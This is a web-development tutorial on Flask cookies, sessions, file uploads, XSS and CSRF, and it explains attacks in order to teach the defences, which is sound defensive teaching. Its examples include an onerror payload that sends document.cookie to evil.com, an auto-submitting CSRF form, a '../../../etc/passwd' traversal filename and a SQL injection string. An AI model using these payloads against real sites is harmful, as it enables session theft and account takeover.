No JavaScript required. Browser manages cookie storage and transmission automatically.

Setting and Reading Cookies in Flask

Server sets cookie:

from flask import make_response

@app.route('/login', methods=['POST'])
def login():
    # Validate credentials...

    response = make_response("Logged in")
    response.set_cookie('user_id', '42')
    return response

set_cookie() adds Set-Cookie header to response. Browser receives header, stores cookie.

Resulting HTTP response:

HTTP/1.1 200 OK
Set-Cookie: user_id=42

Logged in

Server reads cookie:

from flask import request

@app.route('/documents')
def documents():
    user_id = request.cookies.get('user_id')
    if not user_id:
        return "Not authenticated", 401

    return f"Documents for user {user_id}"

request.cookies reads Cookie header from request. Browser automatically includes cookie.

Incoming HTTP request:

GET /documents HTTP/1.1
Cookie: user_id=42

Flask abstracts HTTP headers. set_cookie() writes Set-Cookie. request.cookies reads Cookie.

Session Pattern: Random ID Maps to Server Data

Store only unpredictable session ID in cookie. Store actual user data on server, indexed by session ID.

Login creates session:

import secrets

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    # Validate credentials...

    # Generate random session ID
    session_id = secrets.token_hex(16)
    # Result: 'a7f3c9d1b2e4...' (32 chars)

    # Store on server
    sessions[session_id] = {
        'user_id': 42,
        'username': 'alice'
    }

    # Send ID to client
    response = make_response("Logged in")
    response.set_cookie('session_id', session_id)
    return response

Protected route uses session:

@app.route('/documents')
def documents():
    # Read session ID from cookie
    session_id = request.cookies.get('session_id')

    # Look up server-side data
    session_data = sessions.get(session_id)
    if not session_data:
        return "Not authenticated", 401

    user_id = session_data['user_id']
    docs = get_user_documents(user_id)
    return render_template('docs.html',
                          documents=docs)

Cookie contains: a7f3c9d1b2e4... Server contains: {user_id: 42, username: 'alice'}

Why Session Pattern Prevents Attacks

User modifies session ID:

Original cookie: session_id=a7f3c9d1b2e4

User changes to: session_id=modified_value

session_data = sessions.get('modified_value')
# Returns None (not in server storage)

if not session_data:
    return "Not authenticated", 401

Modified ID not in server’s session storage. Lookup fails, authentication rejected.

User guesses session ID:

Session ID is 128-bit random value:

secrets.token_hex(16)  # 32 hex chars = 128 bits

2^128 possible values = 3.4 × 10^38 possible IDs.

Even trying 1 billion IDs per second: - Years required: 10^22 years - Age of universe: 1.4 × 10^10 years

Computationally infeasible to guess valid session ID.

Server invalidates immediately:

del sessions[session_id]

Even with original valid cookie, lookup fails. Logout takes effect instantly.

Cookies vs Sessions: When to Use Each

Sessions for authentication and sensitive data. Cookies for user preferences.

Use cookies for:

  • User preferences (theme, language)
  • Non-sensitive client state
  • Data that client needs to read
  • Small values (<4KB total)

Example:

response.set_cookie('theme', 'dark')
response.set_cookie('language', 'en')

Cookie visible to user. No security risk if modified. Client can read values with JavaScript if needed.

Use sessions for:

  • Authentication state
  • User identity
  • Shopping carts
  • Any sensitive data
  • Data exceeding 4KB

Example:

session['user_id'] = 42
session['cart'] = [item_1, item_2, item_3]

Session ID in cookie, data on server. User cannot view or tamper with session contents. Server controls all data.

Flask Session Object

from flask import Flask, session, request, redirect
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)  # Required for session signing

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    # Validate credentials (simplified)

    # Store in session (Flask manages cookie/storage)
    session['user_id'] = 42
    session['username'] = username

    return redirect('/documents')

@app.route('/documents')
def documents():
    # Retrieve from session
    user_id = session.get('user_id')
    if not user_id:
        return redirect('/login')

    return f"Documents for {session['username']}"

@app.route('/logout')
def logout():
    session.clear()
    return redirect('/login')

# Simulate
with app.test_client() as client:
    client.post('/login', data={'username': 'alice'})
    r = client.get('/documents')
    print(r.data.decode('utf-8'))
    client.get('/logout')
    r = client.get('/documents')
    print(f"After logout: {r.status_code}")  # Redirects
Documents for alice
After logout: 302

Session Storage: Signed Cookies (Flask Default)

Flask default encodes session data in cookie itself, cryptographically signed to prevent modification.

What cookie contains:

session=eyJ1c2VyX2lkIjo0Mn0.ZkF...

Three parts separated by .: 1. Base64-encoded data: {"user_id": 42} 2. Timestamp 3. HMAC signature

User can decode data:

import base64
data = base64.b64decode('eyJ1c2VyX2lkIjo0Mn0')
# Returns: {"user_id": 42}

Data visible but cannot modify without invalidating signature.

Tradeoffs:

Advantages: - No server storage required - Works with multiple application servers (stateless) - No database/Redis dependency

Disadvantages: - 4KB cookie size limit - Data visible to user (base64 ≠ encryption) - Cannot invalidate specific session (no server record) - Session persists until cookie expires (logout clears cookie but data remains valid)

Suitable for: Small non-sensitive data (preferences, language). Not suitable for authorization data.

Session Storage: Redis (Production Pattern)

Cookie contains only session ID. Session data stored in Redis key-value store.

Store session in Redis:

import redis
import json
import secrets

redis_client = redis.Redis(
    host='localhost',
    port=6379
)

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    user_id = 42  # From database

    # Generate session ID
    session_id = secrets.token_hex(16)

    # Store in Redis with 1 hour expiration
    redis_client.setex(
        f'session:{session_id}',
        3600,  # TTL in seconds
        json.dumps({
            'user_id': user_id,
            'username': username
        })
    )

    response = make_response(redirect('/documents'))
    response.set_cookie('session_id', session_id)
    return response

Retrieve session from Redis:

@app.route('/documents')
def documents():
    session_id = request.cookies.get('session_id')

    # Look up in Redis
    data = redis_client.get(f'session:{session_id}')
    if not data:
        return redirect('/login')

    session_data = json.loads(data)
    user_id = session_data['user_id']

    docs = get_user_documents(user_id)
    return render_template('docs.html',
                          documents=docs)

Performance: 1-2ms network round-trip to Redis. In-memory storage, very fast. Automatic expiration via TTL.

Redis Session Advantages

Immediate invalidation:

@app.route('/logout')
def logout():
    session_id = request.cookies.get('session_id')

    # Delete from Redis
    redis_client.delete(f'session:{session_id}')

    response = make_response(redirect('/login'))
    response.set_cookie('session_id', '', expires=0)
    return response

Even if user keeps cookie, server lookup fails. Session invalidated server-side.

Revoke all user sessions:

# User reports account compromise
user_sessions = redis_client.keys(f'user:{user_id}:session:*')
for session_key in user_sessions:
    redis_client.delete(session_key)

Shared across servers:

Multiple application servers read from same Redis instance. User request can go to any server, session accessible.

[Server 1] --\
              [Redis] -- session:a7f3c9d1 → {user_id: 42}
[Server 2] --/

No sticky sessions required. Load balancer distributes freely.

Unlimited session size:

Redis value size limit: 512MB. Practical session data: <10KB. No 4KB cookie constraint.

Automatic expiration:

Redis TTL handles cleanup. No manual deletion required. Memory freed automatically.

Session-Based Authentication Flow

Login creates session:

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # Validate credentials
    user = users.get(username)
    if not user or user['password'] != password:
        return 'Invalid', 401

    # Create session
    session['user_id'] = user['user_id']
    session['username'] = username

    return redirect('/documents')

Successful authentication stores user_id in session. Flask sets cookie with session ID.

Protected routes check session:

@app.route('/documents')
def documents():
    # Check session
    if 'user_id' not in session:
        return redirect('/login')

    # Use session data
    docs = get_user_documents(session['user_id'])
    return render_template('docs.html',
                          username=session['username'],
                          documents=docs)

Every protected route verifies session exists. Missing session redirects to login.

Logout destroys session:

@app.route('/logout')
def logout():
    session.clear()  # Remove all session data
    return redirect('/login')

Session cleared server-side. Cookie invalidated. Next request fails authentication check.

File Uploads

Form Encoding Cannot Represent Files

Standard URL encoding transmits key-value pairs as text. Files require binary data transmission.

Form attempts file upload:

<form action="/upload" method="POST">
    <input type="file" name="document">
    <input type="text" name="title" value="Q4 Report">
    <button>Upload</button>
</form>
report.pdf (524 KB)

Without multipart encoding:

POST /upload HTTP/1.1
Content-Type: application/x-www-form-urlencoded

document=report.pdf&title=Q4+Report

Server receives:

request.form['document']  # "report.pdf"
request.form['title']      # "Q4 Report"

document field contains string "report.pdf", not file contents. Text encoding cannot represent 524KB of binary PDF data. File remains on client machine.

URL encoding designed for text - escapes =, &, spaces. No mechanism for transmitting binary streams.

Multipart Encoding Intermixes Binary and Text

Special content type allows single HTTP request to contain both text fields and binary file data.

<form action="/upload" method="POST" enctype="multipart/form-data">
    <input type="file" name="document">
    <input type="text" name="title" value="Q4 Report">
    <button>Upload</button>
</form>

Boundary markers separate parts: Server scans for boundary string to locate each section.

Headers describe content: Each part includes Content-Disposition (field name, filename) and Content-Type (MIME type).

Binary preserved: File bytes transmitted unchanged - no encoding applied to binary data.

Browser generates boundaries: Random string guaranteed not to appear in data enables unambiguous parsing.

Browser Constructs Multipart Request

User selects file, clicks submit. Browser handles file reading, boundary generation, request assembly automatically.

User interaction: Click file input, select file from filesystem, click submit button.

Browser automation: Reads selected file into memory (524KB), generates random boundary string, constructs HTTP request with headers and body.

Network transmission: Entire request (537KB including headers and boundaries) sent to server.

Server receives: Flask parses multipart structure, provides file object with metadata (filename, content_type) and binary data (read() method).

Flask Parses Multipart Into File Objects

Server receives multipart request. Flask extracts boundaries, separates parts, provides file object with metadata and binary data accessible through methods.

@app.route('/upload', methods=['POST'])
def upload():
    # Text field (standard form data)
    title = request.form['title']
    # Returns: "Q4 Report"

    # File object (from multipart data)
    file = request.files['document']

    # File metadata (from HTTP headers)
    filename = file.filename
    # Returns: "report.pdf"

    mimetype = file.content_type
    # Returns: "application/pdf"

    # Read file data into memory
    data = file.read()
    # Returns: b'%PDF-1.4...' (524,288 bytes)

    size = len(data)
    # Returns: 524288

    return f"Uploaded {filename}: {size} bytes"

Flask parses multipart boundaries, extracts headers, provides file-like object.

from werkzeug.datastructures import FileStorage
import io

# Simulate uploaded PDF file
pdf_bytes = b'%PDF-1.4\n%\xe2\xe3\xcf\xd3\n1 0 obj\n<</Type/Catalog>>\nendobj'

uploaded_file = FileStorage(
    stream=io.BytesIO(pdf_bytes),
    filename='report.pdf',
    content_type='application/pdf'
)

# File object properties
print(f"Filename: {uploaded_file.filename}")
print(f"MIME type: {uploaded_file.content_type}")

# Read data
data = uploaded_file.read(20)
print(f"First 20 bytes: {data}")
print(f"Length: {len(data)}")

# File position after read
print(f"Stream position: {uploaded_file.tell()}")

# Reset stream
uploaded_file.seek(0)
print(f"After seek(0): {uploaded_file.tell()}")
Filename: report.pdf
MIME type: application/pdf
First 20 bytes: b'%PDF-1.4\n%\xe2\xe3\xcf\xd3\n1 0 o'
Length: 20
Stream position: 20
After seek(0): 0

File object behaves like Python file: read(), seek(), tell(). Additional HTTP metadata: filename, content_type.

Unique Storage Names Prevent Collisions

File object provides save() method for writing to filesystem. Original filenames cause overwrites and security issues.

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['document']

    # Save with original filename
    file.save(f'/uploads/{file.filename}')

    return "Upload successful"

Timeline with multiple users:

  • 10:00 AM: Alice uploads report.pdf → Saved to /uploads/report.pdf
  • 10:15 AM: Bob uploads report.pdf → Overwrites /uploads/report.pdf
  • Alice’s file lost

Additional problems:

User uploads filename: ../../../etc/passwd

Path becomes: /uploads/../../../etc/passwd → Resolves to /etc/passwd

Overwrites system file.

import uuid

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['document']

    # Extract extension
    ext = file.filename.rsplit('.', 1)[1].lower()
    # "report.pdf" → "pdf"

    # Generate unique storage name
    storage_name = f"{uuid.uuid4()}.{ext}"
    # "7f3c9d1b-2e4a-4f5a-8c3d-9e2f1b4a6d8c.pdf"

    # Save with unique name
    file.save(f'/uploads/{storage_name}')

    return storage_name

Timeline with UUID:

  • 10:00 AM: Alice uploads report.pdf7f3c9d1b.pdf
  • 10:15 AM: Bob uploads report.pdfa9e2f3b4.pdf
  • Both files preserved

UUID contains only [a-f0-9-]. No path traversal possible. Collision probability: 2^-122 ≈ 0.

Database Maps Storage Names to Display Names

Filesystem stores UUID names. Database preserves original filenames for user display.

import sqlite3
import uuid
from datetime import datetime

# Create database
conn = sqlite3.connect(':memory:')
conn.execute('''
    CREATE TABLE files (
        id INTEGER PRIMARY KEY,
        storage_name TEXT UNIQUE,
        original_name TEXT,
        size INTEGER,
        user_id INTEGER
    )
''')

# Simulate Alice uploading report.pdf
alice_storage = f"{uuid.uuid4()}.pdf"
conn.execute(
    "INSERT INTO files (storage_name, original_name, size, user_id) VALUES (?, ?, ?, ?)",
    (alice_storage, "report.pdf", 524288, 1)
)

# Simulate Bob uploading report.pdf (same name, different file)
bob_storage = f"{uuid.uuid4()}.pdf"
conn.execute(
    "INSERT INTO files (storage_name, original_name, size, user_id) VALUES (?, ?, ?, ?)",
    (bob_storage, "report.pdf", 612352, 2)
)

# Alice uploads another file
alice_budget = f"{uuid.uuid4()}.xlsx"
conn.execute(
    "INSERT INTO files (storage_name, original_name, size, user_id) VALUES (?, ?, ?, ?)",
    (alice_budget, "budget.xlsx", 102400, 1)
)

# Display Alice's files (what she sees)
print("Alice's Files:")
for row in conn.execute("SELECT original_name, size FROM files WHERE user_id = 1"):
    print(f"  • {row[0]} ({row[1]:,} bytes)")

print("\nActual storage names:")
for row in conn.execute("SELECT original_name, storage_name FROM files WHERE user_id = 1"):
    print(f"  {row[0]}{row[1]}")
Alice's Files:
  • report.pdf (524,288 bytes)
  • budget.xlsx (102,400 bytes)

Actual storage names:
  report.pdf → a19ce7c9-3c06-43b4-aaed-1f24226c94ad.pdf
  budget.xlsx → 1a7b1219-2e59-4457-b9b3-1deeadbfbbf1.xlsx

Web-Accessible Storage Bypasses Authorization

Files stored outside web directory require application route for access control. Direct web server access prevents permission checks.

Problem with /static storage:

  • Web server sends files directly without executing application code
  • No authentication check - anyone with URL accesses file
  • No ownership verification
  • URLs leak through browser logs, cache, referrer headers

Solution with controlled access:

  • Files stored outside web-accessible directories
  • Application route verifies ownership before serving
  • All access logged and auditable
  • Storage names opaque - users cannot construct URLs

Application Route Verifies Ownership Before Serving

from flask import send_from_directory

@app.route('/files/<file_id>')
def download(file_id):
    # Look up file in database
    file_info = db.execute(
        "SELECT storage_name, original_name, user_id FROM files WHERE id = ?",
        (file_id,)
    ).fetchone()

    if not file_info:
        return "File not found", 404

    # Verify ownership
    if file_info['user_id'] != session.get('user_id'):
        return "Access denied", 403

    # Authorized - stream file
    return send_from_directory(
        '/var/uploads',
        file_info['storage_name'],
        as_attachment=True,
        download_name=file_info['original_name']
    )

Route checks ownership before serving. send_from_directory() streams file efficiently. Browser receives original filename via download_name parameter.

User requests: /files/42

Server verifies: files.id=42 owned by current user

Server sends: /var/uploads/7f3c9d1b-2e4a-4f5a-8c3d-9e2f1b4a6d8c.pdf

Browser saves as: report.pdf (original name)

Complete Upload and Download Flow

from flask import Flask, request, send_from_directory, session, redirect
import uuid
import os

app = Flask(__name__)

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['document']
    description = request.form.get('description', '')

    # Validate file exists
    if not file or file.filename == '':
        return "No file selected", 400

    # Generate storage name
    ext = file.filename.rsplit('.', 1)[1] if '.' in file.filename else 'bin'
    storage_name = f"{uuid.uuid4()}.{ext}"

    # Save to disk
    filepath = os.path.join('/var/uploads', storage_name)
    file.save(filepath)

    # Record in database
    file_id = db.execute(
        "INSERT INTO files (storage_name, original_name, size, user_id) "
        "VALUES (?, ?, ?, ?) RETURNING id",
        (storage_name, file.filename, os.path.getsize(filepath), session['user_id'])
    ).fetchone()[0]

    return redirect(f'/files/{file_id}')

@app.route('/files/<int:file_id>')
def download(file_id):
    file_info = db.execute(
        "SELECT storage_name, original_name, user_id FROM files WHERE id = ?",
        (file_id,)
    ).fetchone()

    if not file_info or file_info['user_id'] != session.get('user_id'):
        return "Not found", 404

    return send_from_directory(
        '/var/uploads',
        file_info['storage_name'],
        as_attachment=True,
        download_name=file_info['original_name']
    )

Upload: Parse multipart → Generate UUID → Save to disk → Record metadata → Redirect

Download: Verify ownership → Stream file with original name

Server Validates Before Accepting Upload

Multiple validation layers reject invalid uploads: file existence, allowed extensions, size limits, content verification.

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['document']

    # Check file provided
    if not file or file.filename == '':
        return "No file selected", 400

    # Validate extension
    ALLOWED = {'pdf', 'png', 'jpg', 'docx', 'xlsx'}
    ext = file.filename.rsplit('.', 1)[1].lower() if '.' in file.filename else ''
    if ext not in ALLOWED:
        return f"File type .{ext} not allowed", 400

    # Check size (16MB limit)
    file.seek(0, 2)  # Seek to end
    size = file.tell()
    file.seek(0)     # Reset to beginning

    if size > 16 * 1024 * 1024:
        return "File exceeds 16MB limit", 413

    # Verify content matches extension
    header = file.read(16)
    file.seek(0)

    if ext == 'pdf' and not header.startswith(b'%PDF'):
        return "File does not appear to be PDF", 400

    # Validation passed - proceed with save
    storage_name = f"{uuid.uuid4()}.{ext}"
    file.save(f'/var/uploads/{storage_name}')

    return "Upload successful"

Multiple validation layers: existence, extension, size, content verification.

Security: XSS and CSRF

Templates Display User-Submitted Content

Part 2 showed templates rendering data: { doc.title }, { user.name }. Applications display content submitted by users: document titles, comments, profile information.

Normal document title:

User submits form with title: "Q4 Financial Report"

Stored in database:

INSERT INTO documents (user_id, title)
VALUES (42, 'Q4 Financial Report');

Template displays title:

<ul>
{% for doc in documents %}
    <li>{{ doc.title }}</li>
{% endfor %}
</ul>

Rendered HTML:

<li>Q4 Financial Report</li>

Browser displays formatted text.

Expected behavior: User data stored, template renders, browser displays text.

HTML in User Input Becomes Structure

User submits HTML tags as input. Browser interprets tags as structure, not text content.

Malicious input:

User submits document title containing HTML:

<script>alert('XSS')</script>

Database stores as text (no special treatment):

INSERT INTO documents (user_id, title)
VALUES (42, '<script>alert(''XSS'')</script>');

Template renders exactly what’s stored:

<li>{{ doc.title }}</li>

Becomes:

<li><script>alert('XSS')</script></li>

Problem: Browser doesn’t distinguish server-generated HTML from user-provided HTML. <script> tag in user input becomes executable code.

Demonstration: XSS Attack

from flask import Flask, render_template_string
from jinja2 import Template, Environment

app = Flask(__name__)

# Simulated database data
documents = [
    {'title': 'Q4 Report', 'author': 'Alice'},
    {'title': '<script>alert("XSS")</script>', 'author': 'Attacker'},
    {'title': 'Analysis', 'author': 'Bob'}
]

# WITHOUT auto-escaping (vulnerable)
template_vulnerable = """
<ul>
{% for doc in documents %}
    <li>{{ doc.title }} by {{ doc.author }}</li>
{% endfor %}
</ul>
"""

env_vulnerable = Environment(autoescape=False)
result_vulnerable = env_vulnerable.from_string(template_vulnerable).render(documents=documents)

print("WITHOUT auto-escaping (vulnerable):")
print(result_vulnerable)
print()

# WITH auto-escaping (safe)
template_safe = template_vulnerable  # Same template
env_safe = Environment(autoescape=True)
result_safe = env_safe.from_string(template_safe).render(documents=documents)

print("WITH auto-escaping (safe):")
print(result_safe)
WITHOUT auto-escaping (vulnerable):

<ul>

    <li>Q4 Report by Alice</li>

    <li><script>alert("XSS")</script> by Attacker</li>

    <li>Analysis by Bob</li>

</ul>

WITH auto-escaping (safe):

<ul>

    <li>Q4 Report by Alice</li>

    <li>&lt;script&gt;alert(&#34;XSS&#34;)&lt;/script&gt; by Attacker</li>

    <li>Analysis by Bob</li>

</ul>

Vulnerable version: <script> appears in HTML output. Browser would execute.

Safe version: &lt;script&gt; displayed as text. Browser shows tag visually, doesn’t execute.

XSS Attack Chain

Vulnerability: Server stores user input. Template renders without escaping. Browser executes <script> tags. JavaScript runs with victim’s privileges.

Impact: Attacker’s code accesses victim’s session, reads sensitive data, makes authenticated requests, sends data to attacker-controlled server.

Jinja2 Auto-Escaping Converts HTML to Text

Flask templates escape HTML special characters by default. Prevents browser from interpreting user input as HTML structure.

Escape conversions:

Character Escaped To Meaning
< &lt; Less than
> &gt; Greater than
& &amp; Ampersand
" &quot; Double quote
' &#x27; Single quote

Browser sees &lt; in HTML source, displays < character visually. Doesn’t create tag structure.

Example:

Input: <script>alert('XSS')</script>

Escaped: &lt;script&gt;alert('XSS')&lt;/script&gt;

Browser displays text: <script>alert('XSS')</script>

No code execution.

Safe Filter Disables Auto-Escaping

| safe filter marks content as trusted HTML. Use only for server-generated HTML, never user input.

Dangerous: Safe filter on user input

@app.route('/profile/<username>')
def profile(username):
    user = get_user(username)
    # User controls bio field
    return render_template('profile.html',
                          bio=user.bio)
<div class="bio">
    {{ bio | safe }}
</div>

User sets bio to:

<img src=x onerror="
  fetch('evil.com?c=' + document.cookie)
">

Result: Image fails to load, onerror executes JavaScript, cookie stolen.

Safe: Auto-escaping enabled

@app.route('/profile/<username>')
def profile(username):
    user = get_user(username)
    return render_template('profile.html',
                          bio=user.bio)
<div class="bio">
    {{ bio }}
</div>

Same malicious bio renders as:

<div class="bio">
&lt;img src=x onerror="..."&gt;
</div>

Browser displays: <img src=x onerror="..."> as text.

No code execution.

Rule: Only use | safe on HTML you generate server-side. Never on user-submitted content (document titles, comments, bios, any form input).

Forms Accept Requests From Any Origin

Form processing (Part 3): user fills form, clicks submit, server processes. Server doesn’t verify which website created the form.

Your application’s form:

<!-- Served from app.example.com/settings -->
<form action="/settings/change-email" method="POST">
    <input name="email" placeholder="New email address">
    <button>Update Email</button>
</form>

Expected flow: User visits your site → Fills form → Clicks submit → Server processes.

Actual behavior: Any website can submit POST requests to your endpoints. Browser includes user’s authentication cookies automatically.

Malicious site creates form:

<!-- Served from evil.com -->
<form id="attack" action="https://app.example.com/settings/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('attack').submit();</script>

User visits evil.com while logged into app.example.com. Form auto-submits. Browser includes session cookie. Server sees authenticated request from Alice, changes her email to attacker’s address.

Alice never clicked anything. Page load triggered attack.

CSRF Token Verifies Request Origin

Random token stored in session, included in form. Malicious site cannot access user’s token due to same-origin policy.

Server generates token, includes in form:

import secrets

@app.route('/settings')
def settings():
    # Generate random token
    token = secrets.token_hex(32)

    # Store in session
    session['csrf_token'] = token

    return render_template('settings.html',
                          csrf_token=token)

Template includes token:

<form action="/settings/change-email"
      method="POST">
    <input type="hidden"
           name="csrf_token"
           value="{{ csrf_token }}">
    <input name="email"
           placeholder="New email">
    <button>Update</button>
</form>

Server validates token on submission:

@app.route('/settings/change-email',
          methods=['POST'])
def change_email():
    # Extract token from form
    submitted = request.form.get('csrf_token')

    # Compare to session
    session_token = session.get('csrf_token')

    if not submitted or \
       submitted != session_token:
        return "Invalid CSRF token", 403

    # Token valid - process request
    new_email = request.form['email']
    update_email(session['user_id'], new_email)
    return "Email updated"

Request rejected unless submitted token matches session token.

Why attacker fails: evil.com cannot read Alice’s session data (same-origin policy enforced by browser). Cannot include valid token in malicious form. Server rejects request without matching token.

Flask-WTF Automates CSRF Protection

Extension generates tokens, includes in forms, validates submissions automatically.

from flask import Flask, render_template_string, session, request
from flask_wtf import FlaskForm, CSRFProtect
from wtforms import StringField, SubmitField
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)

# Enable CSRF protection globally
csrf = CSRFProtect(app)

# Define form with fields
class SettingsForm(FlaskForm):
    email = StringField('Email Address')
    submit = SubmitField('Update')

@app.route('/settings', methods=['GET', 'POST'])
def settings():
    form = SettingsForm()

    # validate_on_submit checks CSRF token automatically
    if form.validate_on_submit():
        # Token already validated by Flask-WTF
        new_email = form.email.data
        print(f"Email would be updated to: {new_email}")
        return "Email updated successfully"

    # Render form
    return render_template_string("""
        <form method="POST">
            {{ form.hidden_tag() }}
            {{ form.email.label }} {{ form.email(size=30) }}
            {{ form.submit() }}
        </form>
    """, form=form)

# Simulate legitimate request
with app.test_client() as client:
    # GET form
    response = client.get('/settings')
    print("Form HTML includes hidden CSRF token field")
    print()

    # POST with token from form (works)
    response = client.post('/settings', data={'email': 'alice@example.com'},
                          follow_redirects=True)
    print("With valid token:", response.data.decode('utf-8'))
Form HTML includes hidden CSRF token field

With valid token: <!doctype html>
<html lang=en>
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The CSRF token is missing.</p>

form.hidden_tag() renders hidden input with CSRF token. form.validate_on_submit() verifies token automatically. POST requests without valid token rejected with 400 error.

Other Common Web Application Vulnerabilities

SQL Injection:

User input inserted directly into SQL queries. Attacker submits ' OR '1'='1 as username, query becomes SELECT * FROM users WHERE username='' OR '1'='1', returns all users.

  • Use parameterized queries

Path Traversal:

User controls filename in file operations. Attacker uploads file named ../../etc/passwd, application writes to system directories.

  • Sanitize filenames, validate paths stay within designated directories

Session Fixation:

Attacker provides session ID to victim. Victim logs in with attacker’s session ID. Attacker now shares authenticated session.

  • Regenerate session ID on login

Insecure Direct Object Reference:

URLs expose database IDs: /document/42. User changes URL to /document/43, accesses other user’s document.

  • Verify ownership before returning resources

Mass Assignment:

Form fields map directly to database columns. User adds is_admin=true to form submission, gains admin privileges.

  • Explicitly whitelist allowed fields

Information Disclosure:

Error messages reveal implementation details: PostgreSQL syntax error at line 42. Stack traces show file paths, library versions. Attacker learns system architecture.

  • Log detailed errors server-side, show generic messages to users

Client-Side Requests

Server Renders Complete HTML for Each Request

Standard approach: browser requests URL, server generates HTML, browser displays. Every interaction triggers new request and full page replacement.

User clicks “View Documents”:

GET /documents HTTP/1.1
Cookie: session_id=abc123

Server executes route:

@app.route('/documents')
def documents():
    docs = db.execute(
        "SELECT title, author FROM documents WHERE user_id = ?",
        [session['user_id']]
    ).fetchall()
    return render_template('documents.html', documents=docs)

Template generates complete HTML page. Browser replaces current page with response.

User clicks different document, process repeats. New request, new HTML, page replaced.

Page Replacement Discards Browser State

Browser discards current page completely when loading new URL. Scroll position, form input, expanded sections all lost.

Scenario: Lost scroll position

User scrolls through 50 documents to item 47. Clicks document to view. Clicks back button. Browser makes new request for /documents. Server renders fresh page. User returned to top of list.

Scenario: Lost form input

User fills search form with query. Before submitting, clicks link to view document. Returns to search page. Browser makes new request. Form empty.

Scenario: Multiple sequential views

User viewing document list. Clicks document 1, reads, clicks back. Clicks document 2, reads, clicks back. Each navigation: full page reload, scroll resets to top.

Browser navigation inherently stateless beyond what server stores in session.

JavaScript Executes on Loaded Page

JavaScript code runs within loaded page. Can respond to user actions, manipulate page content, make network requests.

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/example')
def example():
    return render_template_string("""
        <html>
        <body>
            <h1>Document List</h1>
            <button id="load-btn">Load Documents</button>
            <ul id="doc-list"></ul>

            <script>
            document.getElementById('load-btn').addEventListener('click', function() {
                // JavaScript executes when button clicked
                console.log('Button clicked - JavaScript executing');

                // Can manipulate page
                document.getElementById('doc-list').innerHTML = '<li>Loading...</li>';

                // Can make network requests (shown in next slides)
            });
            </script>
        </body>
        </html>
    """)

with app.test_client() as client:
    response = client.get('/example')
    print("Server sends HTML with embedded JavaScript:")
    print(response.data.decode('utf-8')[:400] + '...')
Server sends HTML with embedded JavaScript:

        <html>
        <body>
            <h1>Document List</h1>
            <button id="load-btn">Load Documents</button>
            <ul id="doc-list"></ul>

            <script>
            document.getElementById('load-btn').addEventListener('click', function() {
                // JavaScript executes when button clicked
                console.log('Button clicked - JavaScript executing');

 ...

Page loads once. JavaScript remains active, can respond to clicks, form input, timers. Does not require page reload to execute.

JavaScript Sends HTTP Requests Without Navigation

Browser provides fetch() API for JavaScript to make HTTP requests. Page remains loaded while request executes.

Browser navigation:

User clicks link → Browser sends HTTP request → Browser waits → Response arrives → Browser discards current page → Browser loads new page.

JavaScript fetch:

User clicks button → JavaScript calls fetch('/api/documents') → Browser sends HTTP request in background → Page remains visible and interactive → Response arrives → JavaScript receives data → JavaScript can update page.

Two mechanisms for HTTP requests. Browser navigation replaces page. JavaScript fetch operates within loaded page.

Server Returns JSON Instead of Rendered HTML

Route can return data in JSON format rather than rendered template. Same database query, different response format.

Template-rendering route:

@app.route('/documents')
def documents():
    docs = db.execute("""
        SELECT title, author, date
        FROM documents
        WHERE user_id = ?
    """, [session['user_id']]).fetchall()

    return render_template('documents.html',
                          documents=docs)

Template generates HTML structure:

<ul>
  <li>Q4 Report by Alice</li>
  <li>Analysis by Bob</li>
</ul>

Browser receives complete HTML ready to display.

JSON-returning route:

@app.route('/api/documents')
def api_documents():
    docs = db.execute("""
        SELECT title, author, date
        FROM documents
        WHERE user_id = ?
    """, [session['user_id']]).fetchall()

    return jsonify([
        {'title': d['title'],
         'author': d['author'],
         'date': d['date']}
        for d in docs
    ])

Returns structured data:

[
  {"title": "Q4 Report", "author": "Alice", "date": "2024-10-15"},
  {"title": "Analysis", "author": "Bob", "date": "2024-10-12"}
]

JavaScript receives data, must build HTML structure.

Demonstration: Fetch Request and JSON Response

from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/api/documents')
def api_documents():
    # Simulated database query result
    docs = [
        {'title': 'Q4 Report', 'author': 'Alice', 'date': '2024-10-15'},
        {'title': 'Analysis', 'author': 'Bob', 'date': '2024-10-12'},
        {'title': 'Summary', 'author': 'Charlie', 'date': '2024-10-10'}
    ]
    return jsonify(docs)

with app.test_client() as client:
    response = client.get('/api/documents')

    print("HTTP Response:")
    print(f"  Status: {response.status_code}")
    print(f"  Content-Type: {response.content_type}")
    print()

    data = response.get_json()
    print("Parsed JSON data (available to JavaScript):")
    print(f"  Type: {type(data)}")
    print(f"  Length: {len(data)}")
    print()

    print("Accessing individual documents:")
    print(f"  First title: {data[0]['title']}")
    print(f"  Second author: {data[1]['author']}")
    print()

    print("Iterating through documents:")
    for doc in data:
        print(f"  - {doc['title']} by {doc['author']}")
HTTP Response:
  Status: 200
  Content-Type: application/json

Parsed JSON data (available to JavaScript):
  Type: <class 'list'>
  Length: 3

Accessing individual documents:
  First title: Q4 Report
  Second author: Bob

Iterating through documents:
  - Q4 Report by Alice
  - Analysis by Bob
  - Summary by Charlie

JavaScript receives array of objects. Can access properties, loop through items, use data to build page content.

JavaScript Builds DOM Elements from Data

JavaScript creates HTML elements programmatically, inserts into page. Template generates HTML on server; JavaScript generates HTML in browser.

Initial page HTML:

<html>
<body>
  <h1>Your Documents</h1>
  <ul id="document-list">
    <!-- Empty initially -->
  </ul>

  <script>
  fetch('/api/documents')
    .then(response => response.json())
    .then(data => {
      const list = document.getElementById('document-list');

      data.forEach(doc => {
        const item = document.createElement('li');
        item.textContent = doc.title + ' by ' + doc.author;
        list.appendChild(item);
      });
    });
  </script>
</body>
</html>

Page loads with empty list. JavaScript fetches data, creates <li> elements, appends to list.

Result same as server-rendered template: list of documents. Difference: HTML generated in browser rather than on server.

